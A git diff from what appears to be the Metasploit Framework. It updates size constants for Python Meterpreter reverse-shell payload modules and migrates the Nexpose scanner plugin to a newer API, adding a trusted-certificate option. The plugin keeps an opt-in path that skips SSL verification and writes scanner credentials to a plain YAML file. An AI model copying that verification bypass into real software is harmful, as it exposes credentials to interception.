--- a/modules/payloads/singles/python/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
- CachedSize = 51758
+ CachedSize = 53142
include Msf::Payload::Single
include Msf::Payload::Python
diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb
index 43e6c7353c..60fc42cc2b 100644
--- a/modules/payloads/singles/python/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
- CachedSize = 51758
+ CachedSize = 53146
include Msf::Payload::Single
include Msf::Payload::Python
diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb
index 6f208583f8..0aa4f083af 100644
--- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
- CachedSize = 51714
+ CachedSize = 53098
include Msf::Payload::Single
include Msf::Payload::Python
diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb
index 570c01a602..20b710b630 100644
--- a/plugins/nexpose.rb
+++ b/plugins/nexpose.rb
@@ -5,8 +5,7 @@
#
# $Revision$
#
-
-require 'rapid7/nexpose'
+require 'nexpose'
module Msf
Nexpose_yaml = "#{Msf::Config.get_config_root}/nexpose.yaml" #location of the nexpose.yml containing saved nexpose creds
@@ -81,7 +80,7 @@ class Plugin::Nexpose < Msf::Plugin
group = "default"
if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0))
- config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}}
+ config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port, 'trust_cert' => @trust_cert}}
::File.open("#{Nexpose_yaml}", "wb") { |f| f.puts YAML.dump(config) }
print_good("#{Nexpose_yaml} created.")
else
@@ -100,21 +99,21 @@ class Plugin::Nexpose < Msf::Plugin
@pass = lconfig['default']['password']
@host = lconfig['default']['server']
@port = lconfig['default']['port']
- @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning...
+ @trust_cert = lconfig['default']['trust_cert']
+ unless @trust_cert
+ @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning...
+ end
nexpose_login
return
end
end
if(args.length == 0 or args[0].empty? or args[0] == "-h")
- print_status("Usage: ")
- print_status(" nexpose_connect username:password@host[:port] ")
- print_status(" -OR- ")
- print_status(" nexpose_connect username password host port ")
+ nexpose_usage
return
end
- @user = @pass = @host = @port = @sslv = nil
+ @user = @pass = @host = @port = @sslv = @trust_cert = @trust_cert_file = nil
case args.length
when 1,2
@@ -122,31 +121,48 @@ class Plugin::Nexpose < Msf::Plugin
@user,@pass = cred.split(':', 2)
targ ||= '127.0.0.1:3780'
@host,@port = targ.split(':', 2)
- port ||= '3780'
- @sslv = args[1]
+ @port ||= '3780'
+ unless args.length == 1
+ @trust_cert_file = args[1]
+ if File.exists? @trust_cert_file
+ @trust_cert = File.read(@trust_cert_file)
+ else
+ @sslv = @trust_cert_file
+ end
+ end
when 4,5
- @user,@pass,@host,@port,@sslv = args
+ @user,@pass,@host,@port,@trust_cert = args
+ unless args.length == 4
+ @trust_cert_file = @trust_cert
+ if File.exists? @trust_cert_file
+ @trust_cert = File.read(@trust_cert_file)
+ else
+ @sslv = @trust_cert_file
+ end
+ end
else
- print_status("Usage: ")
- print_status(" nexpose_connect username:password@host[:port] ")
- print_status(" -OR- ")
- print_status(" nexpose_connect username password host port ")
+ nexpose_usage
return
end
nexpose_login
end
+ def nexpose_usage
+ print_status("Usage: ")
+ print_status(" nexpose_connect username:password@host[:port] ")
+ print_status(" -OR- ")
+ print_status(" nexpose_connect username password host port ")
+ end
+
def nexpose_login
if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0))
- print_status("Usage: ")
- print_status(" nexpose_connect username:password@host[:port] ")
- print_status(" -OR- ")
- print_status(" nexpose_connect username password host port ")
+ nexpose_usage
return
end
- if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok")
+ if(@host != "localhost" and @host != "127.0.0.1" and (@trust_cert.nil? && @sslv != "ok"))
+ # consider removing this message and replacing with check on trust_store, and if trust_store is not found validate @host already has a truly trusted cert?
print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker")
print_error(" with the ability to man-in-the-middle the Nexpose traffic to capture the Nexpose")
print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'")
@@ -154,7 +170,7 @@ class Plugin::Nexpose < Msf::Plugin
return
end
- # Wrap this so a duplicate session doesnt prevent a new login
+ # Wrap this so a duplicate session does not prevent a new login
begin
cmd_nexpose_disconnect
rescue ::Interrupt
@@ -164,7 +180,7 @@ class Plugin::Nexpose < Msf::Plugin
begin
print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...")
- nsc = ::Nexpose::Connection.new(@host, @user, @pass, @port)
+ nsc = Nexpose::Connection.new(@host, @user, @pass, @port, nil, nil, @trust_cert)
nsc.login
rescue ::Nexpose::APIError => e
print_error("Connection failed: #{e.reason}")
@@ -190,21 +206,21 @@ class Plugin::Nexpose < Msf::Plugin
end
scans.each do |scan|
- print_status(" Scan ##{scan[:scan_id]} is running on Engine ##{scan[:engine_id]} against site ##{scan[:site_id]} since #{scan[:start_time].to_s}")
+ print_status(" Scan ##{scan.scan_id} is running on Engine ##{scan.engine_id} against site ##{scan.site_id} since #{scan.start_time.to_s}")
end
end
def cmd_nexpose_sites(*args)
return if not nexpose_verify
- sites = @nsc.site_listing || []
+ sites = @nsc.list_sites || []
case sites.length
when 0
print_status("There are currently no active sites on this Nexpose instance")
end
sites.each do |site|
- print_status(" Site ##{site[:site_id]} '#{site[:name]}' Risk Factor: #{site[:risk_factor]} Risk Score: #{site[:risk_score]}")
+ print_status(" Site ##{site.id} '#{site.name}' Risk Factor: #{site.risk_factor} Risk Score: #{site.risk_score}")
end
end
@@ -217,24 +233,24 @@ class Plugin::Nexpose < Msf::Plugin
return
end
- devices = @nsc.site_device_listing(site_id) || []
+ devices = @nsc.list_site_devices(site_id) || []
case devices.length
when 0
print_status("There are currently no devices within this site")
end
devices.each do |device|
- print_status(" Host: #{device[:address]} ID: #{device[:device_id]} Risk Factor: #{device[:risk_factor]} Risk Score: #{device[:risk_score]}")
+ print_status(" Host: #{device.address} ID: #{device.id} Risk Factor: #{device.risk_factor} Risk Score: #{device.risk_score}")
end
end
def cmd_nexpose_report_templates(*args)
return if not nexpose_verify
- res = @nsc.report_template_listing || []
+ res = @nsc.list_report_templates || []
res.each do |report|
- print_status(" Template: #{report[:template_id]} Name: '#{report[:name]}' Description: #{report[:description]}")
+ print_status(" Template: #{report.id} Name: '#{report.name}' Description: #{report.description}")
end
end
@@ -286,17 +302,12 @@ class Plugin::Nexpose < Msf::Plugin
report_formats = ["raw-xml-v2", "ns-xml"]
report_format = report_formats.shift
- report = Nexpose::ReportConfig.new(@nsc)
- report.set_name("Metasploit Export #{msfid}")
- report.set_template_id("pentest-audit")
-
- report.addFilter("SiteFilter", site_id)
- report.set_generate_after_scan(0)
- report.set_storeOnServer(1)
+ report = Nexpose::ReportConfig.build(@nsc, site_id, "Metasploit Export #{msfid}", "pentest-audit", report_format, true)
+ report.delivery = Nexpose::Delivery.new(true)
begin
- report.set_format(report_format)
- report.saveReport()
+ report.format = report_format
+ report.save(@nsc)
rescue ::Exception => e
report_format = report_formats.shift
if report_format
@@ -306,17 +317,18 @@ class Plugin::Nexpose < Msf::Plugin
end
print_status("Generating the export data file...")
- url = nil
- while(! url)
- url = @nsc.report_last(report.config_id)
+ last_report = nil
+ while(! last_report)
+ last_report = @nsc.last_report(report.id)
select(nil, nil, nil, 1.0)
end
+ url = last_report.uri
print_status("Downloading the export data...")
data = @nsc.download(url)
# Delete the temporary report ID
- @nsc.report_config_delete(report.config_id)
+ @nsc.delete_report_config(report.id)
print_status("Importing Nexpose data...")
process_nexpose_data(report_format, data)
@@ -389,8 +401,10 @@ class Plugin::Nexpose < Msf::Plugin
when "-c"
if (val =~ /^([^:]+):([^:]+):(.+)/)
type, user, pass = [ $1, $2, $3 ]
- newcreds = Nexpose::AdminCredentials.new
- newcreds.setCredentials(type, nil, nil, user, pass, nil)
+ msfid = Time.now.to_i
+ newcreds = Nexpose::SiteCredentials.for_service("Metasploit Site Credential #{msfid}", nil, nil, nil, nil, type)
+ newcreds.user_name = user
+ newcreds.password = pass
opt_credentials << newcreds
else
print_error("Unrecognized Nexpose scan credentials: #{val}")
@@ -481,33 +495,24 @@ class Plugin::Nexpose < Msf::Plugin
msfid = Time.now.to_i
# Create a temporary site
- site = Nexpose::Site.new(@nsc)
- site.setSiteConfig("Metasploit-#{msfid}", "Autocreated by the Metasploit Framework")
- queue.each do |ip|
- site.site_config.addHost(Nexpose::IPRange.new(ip))
- end
- site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template))
- opt_credentials.each do |c|
- site.site_config.addCredentials(c)
- end
- site.saveSite()
+ site = Nexpose::Site.new(nil, opt_template)
+ site.name = "Metasploit-#{msfid}"
+ site.description = "Autocreated by the Metasploit Framework"
+ site.included_addresses = queue
+ site.site_credentials = opt_credentials
+ site.save(@nsc)
- print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose
+ print_status(" >> Created temporary site ##{site.id}") if opt_verbose
report_formats = ["raw-xml-v2", "ns-xml"]
report_format = report_formats.shift
- report = Nexpose::ReportConfig.new(@nsc)
- report.set_name("Metasploit Export #{msfid}")
- report.set_template_id(opt_template)
-
- report.addFilter("SiteFilter", site.site_id)
- report.set_generate_after_scan(1)
- report.set_storeOnServer(1)
+ report = Nexpose::ReportConfig.build(@nsc, site.id, site.name, opt_template, report_format, true)
+ report.delivery = Nexpose::Delivery.new(true)
begin
- report.set_format(report_format)
- report.saveReport()
+ report.format = report_format
+ report.save(@nsc, true)
rescue ::Exception => e
report_format = report_formats.shift
if report_format
@@ -516,18 +521,19 @@ class Plugin::Nexpose < Msf::Plugin
raise e
end
- print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose
+ print_status(" >> Created temporary report configuration ##{report.id}") if opt_verbose
# Run the scan
begin
- res = site.scanSite()
+ res = site.scan(@nsc)
rescue Nexpose::APIError => e
nexpose_error_message = e.message
nexpose_error_message.gsub!(/NexposeAPI: Action failed: /, '')
print_error "#{nexpose_error_message}"
return
end
- sid = res[:scan_id]
+
+ sid = res.id
print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose
@@ -536,8 +542,8 @@ class Plugin::Nexpose < Msf::Plugin
prev = nil
while(true)
info = @nsc.scan_statistics(sid)
- break if info[:summary]['status'] != "running"
- stat = "Found #{info[:nodes]['live']} devices and #{info[:nodes]['dead']} unresponsive"
+ break if info.status != "running"
+ stat = "Found #{info.nodes.live} devices and #{info.nodes.dead} unresponsive"
if(stat != prev)
print_status(" >> #{stat}") if opt_verbose
end
@@ -548,18 +554,19 @@ class Plugin::Nexpose < Msf::Plugin
rescue ::Interrupt
rep = false
print_status(" >> Terminating scan ID ##{sid} due to console interupt") if opt_verbose
- @nsc.scan_stop(sid)
+ @nsc.stop_scan(sid)
break
end
# Wait for the automatic report generation to complete
if(rep)
print_status(" >> Waiting on the report to generate...") if opt_verbose
- url = nil
- while(! url)
- url = @nsc.report_last(report.config_id)
+ last_report = nil
+ while(! last_report)
+ last_report = @nsc.last_report(report.id)
select(nil, nil, nil, 1.0)
end
+ url = last_report.uri
print_status(" >> Downloading the report data from Nexpose...") if opt_verbose
data = @nsc.download(url)
@@ -575,8 +582,18 @@ class Plugin::Nexpose < Msf::Plugin
end
if ! opt_preserve
+ # Make sure the scan has finished clean up before attempting to delete the site
+ while (true)
+ info = @nsc.scan_statistics(sid)
+ break if info.status == 'stopped' || info.status == 'finished'
+ select(nil, nil, nil, 5.0)
+ end
print_status(" >> Deleting the temporary site and report...") if opt_verbose
- @nsc.site_delete(site.site_id)
+ begin
+ @nsc.delete_site(site.id)
+ rescue ::Nexpose::APIError => e
+ print_status(" >> Deletion of temporary site and report failed: #{e.inspect}")
+ end
end
end
@@ -674,3 +691,15 @@ class Plugin::Nexpose < Msf::Plugin
end
end
end
+
+module Nexpose
+ class IPRange
+ def to_json
+ if @to.present?
+ "#{@from} - #{@to}".to_json
+ else
+ @from.to_json
+ end
+ end
+ end
+end
diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb
index 1497ebaa9e..22f38ffc5f 100644
--- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb
+++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb
@@ -26,11 +26,12 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do
it "should parse valid raw data into a packet object" do
while @raw.length >0
- parsed_packet = parser.recv(@sock)
+ parsed_packet, in_progress = parser.recv(@sock)
end
expect(parsed_packet).to be_a Rex::Post::Meterpreter::Packet
expect(parsed_packet.type).to eq Rex::Post::Meterpreter::PACKET_TYPE_REQUEST
expect(parsed_packet.method?("test_method")).to eq true
+ expect(in_progress).to eq false
end
end
diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb
index f61892baa2..1a1dd31912 100755
--- a/tools/dev/msftidy.rb
+++ b/tools/dev/msftidy.rb
@@ -618,7 +618,7 @@ class Msftidy
end
def check_vars_get
- test = @source.scan(/send_request_cgi\s*\(\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im)
+ test = @source.scan(/send_request_cgi\s*\(?\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im)
unless test.empty?
test.each { |item|
info("Please use vars_get in send_request_cgi: #{item}")